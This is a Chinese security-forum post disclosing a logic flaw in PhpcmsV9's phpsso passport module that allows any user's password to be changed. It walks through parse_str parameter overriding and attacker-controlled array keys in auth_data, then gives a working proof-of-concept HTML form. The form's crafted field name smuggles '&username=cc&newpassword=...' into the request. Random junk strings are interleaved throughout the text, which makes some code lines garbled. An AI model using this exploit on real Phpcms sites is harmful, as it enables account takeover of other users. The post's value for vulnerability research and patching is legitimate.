找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
5 D/ M: I* W+ P1 G2 `7 }: R9 C3 u% V% r
1 H( ^+ p- L3 f* B
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
8 Y; I* j# `' S2 g( {- @2 l- U: ]1 Q0 I. ~0 a0 ]& z
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
( k/ t- J* V8 u  K  X9 K
& T" l$ [- e6 ]0 I) R5 M, x6 F2 N我把它留给了你们。
% W8 W1 t0 W9 H( m1 Y  h不知道你们发现了它没有。
' u* I5 [" E$ l) ^7 f# @6 t2 B
5 d$ G; p3 A7 k9 V9 J我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
; R7 N3 ]; d  z  A( B1 c7 ^+ N" u9 X
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" l" p4 @( f# r: M# {( _
. b) f) E# T: S
也就是
' l" |* J: C8 M
) g2 X% x6 v: Q8 p) Q& m/ x8 y# M$ nusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。" G$ f  i7 H; u# b- w+ `; E+ X
# d* c: e0 ^* H( n( r, N& s
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
. w0 W4 R$ f2 @# s6 V0 _4 n& u" X; D

# X6 r! y" u0 Y8 K其实我们有这样的机会,看看代码,如下:
; e9 ^' }6 G0 }( t5 x) a" l1 u* s5 X, [6 X0 B+ Y% I5 ^
/ ]5 r, J6 Q1 b" D" E; {! g. W" S
public function auth_data($data) {
! f9 T; }# l5 @, B6 p                $s = $sep = '';- i. _9 x/ h3 z# ?# {# Z7 t
                foreach($data as $k => $v) {
) _' v& @" W: U& h! ?4 p                        if(is_array($v)) {
# D* ?' O6 @5 |. F3 k                                $s2 = $sep2 = '';/ Q- G# ^; ~% m& K
                                foreach($v as $k2 => $v2) {
1 _+ x& W) S: v6 _/ Z                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
) j* e. J" z& X+ X+ Z                                        $sep2 = '&';
# h% K) F! N/ ~6 F; k                                }- c3 S- S3 Q) S
                                $s .= $sep.$s2;
1 D0 v& \% B% B/ t' [                        } else {
% W+ ?3 C2 `& X# ~                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
- |2 h2 Z) u7 }! E" A9 ]                        }' D, j1 r6 E6 n7 r; f3 r9 i
                        $sep = '&';
) x% Q" ^- @# t  Q9 Y                }
* M% \  r. W9 [4 e
. u. ~, N0 o4 A, U                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));/ Z& r2 l7 Z+ ~2 G) H$ d
                return $auth_s;5 n7 B  C, x! _& u$ n2 c- H
        }
  f, M; n+ F" @2 U6 S/ c$ w$ }. a+ m" T, V5 p: F
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。! X% R/ P" B/ G# ~

$ S8 i/ }; |/ h- S举个例子
* @* b( W. {/ b( P6 n
1 c$ p3 j: J' V  y8 E$a[aaa=a&bbb] = 'a';9 t' }4 ]/ N! m3 P  m9 n

+ |. {0 c, I) l. Q会变成aaa=a&bbb=a+ {* P3 `9 I+ q" I

) ?9 q# z, z1 r明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
; q1 S; k! c8 G; ?9 t8 K. H: Y
2 ?' M: z4 ~0 t这个时候,我们可以再去看一个函数。6 ~3 f6 c/ F6 H$ p) F+ |. @- P

9 M0 x; x  P: K" L9 A3 x2 x# k) u就在这个文件内:9 w6 Q: o8 v  ^. ~5 j# N

+ ~4 H, O! U2 W9 u: C5 _: K
6 t& q$ h& h  X# Y3 Q+ j" J' vpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {! @  `0 H; }. t# m' U& _1 X/ B
                if($email && !$this->_is_email($email)) {
1 h4 }+ E. D) D* {. d                        return -4;: m. p! K8 p. D6 `5 Y. {1 ?
                }
2 J* ^5 c: r7 ?6 N                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));" s& _. n8 x/ ^* h4 u
        }  ~1 L' [7 W9 `! P/ v. q, q
% [, Y6 A! s6 B$ L2 q- p
这是向通行证发了这样一个请求。
- z, d. b( J- }" m* J1 R/ L7 x2 Y. k0 |/ N% S6 G
我们再跟到通信证代码里去看看,就会有所发现。
8 C$ p$ O6 g3 \4 W
  o  \) E- C9 ]( E  ]- J6 X
( \6 p7 l6 }! [! B, gpublic function edit() {
. O3 `; j% O! N- R2 P/ Y//能省就省,太长了不是吗?! R+ c; W& R& X6 d. N/ K

0 a$ X4 }0 ?  Z9 sif($this->username) {
' i- ]/ v, ], N2 [//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
) l) K: v+ Q4 @; z                                $res = $this->db->update($data, array('username'=>$this->username));! z  j$ z( I" T7 _& O* H
                        } else {0 a/ ~# u/ q. I
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
- I: |$ i0 @: B: ^0 O& t: ^+ Z                                $res = $this->db->update($data, array('uid'=>$this->uid));
7 |! o% m; H8 }6 F2 D- \" S                        }
  a9 \$ L+ R) c
' m: g3 x& c' s) M" S& H4 @好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:. \* m, m3 T9 i) L- U: V+ W

2 K) [: n9 X6 }: e. W- ^public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
6 e( Y7 R8 {2 m6 G7 `8 H
4 r" {$ ?* x3 q' C( ^! |* K1 k很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
6 g& R6 ^# W0 _: u: @0 x4 A/ G  A1 P: t' @1 N6 N* W+ W
我当然找到了:
7 _# T. p$ Q% j$ T/ L2 U0 Dphpcms9/phpcms/modules/member/index.php
6 Z2 T( h% O; u" z4 [6 N! h' Q) X6 m
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
% D$ v5 \) N2 _. ?9 Q4 Z
  X0 l2 W, d' x5 v' l" Z然后就没有然后了。' x6 l: I* U  f8 {; O1 `
/ a( O# h& n4 c* u/ m+ X# e* c
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">, q+ `( l4 k7 P; j' t6 h6 I" p
                                <table width="100%" cellspacing="0" class="table_form">
8 s% H; f3 J  W                                        <tr>$ k1 Y. x; \. V
                                                <th width="80">邮箱:</th>        
8 O5 _8 S7 l) w) z4 C8 M* w                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td># h5 V$ f# S2 y
                                        </tr>
# f  x0 q+ _$ p) m' v6 O- |$ x                                        <tr>
# E. ], [: n- S/ f5 p7 M5 Z                                                <th width="80">原密码:</th>        
" s3 o, ~7 w5 S                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>  R7 H7 R  c, ?
                                        </tr>
6 G$ f  K) R7 \5 p+ F                                        <tr>; L* [8 J/ c- e1 j9 Q4 C
                                                <th>新密码:</th>
  I& O# R: |+ ]. C$ w. e                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>" i3 x' I' t6 r
                                        </tr>
  J6 Z$ E1 w# L  y$ v. `. l, J                                        <th></th>
3 f  n, g) ~7 A- R% L                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>* |& z  V% E8 E7 m$ ^
                                        </tr>6 M6 z5 O% y' ]& N) X( e* W
                                </table>- [/ I* h: |4 s
9 G/ j% L8 u" m# s
                                8 i9 w' L9 c+ Z1 D2 Y4 w+ B9 B: h
                        </form>9 R4 |+ R* j% ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表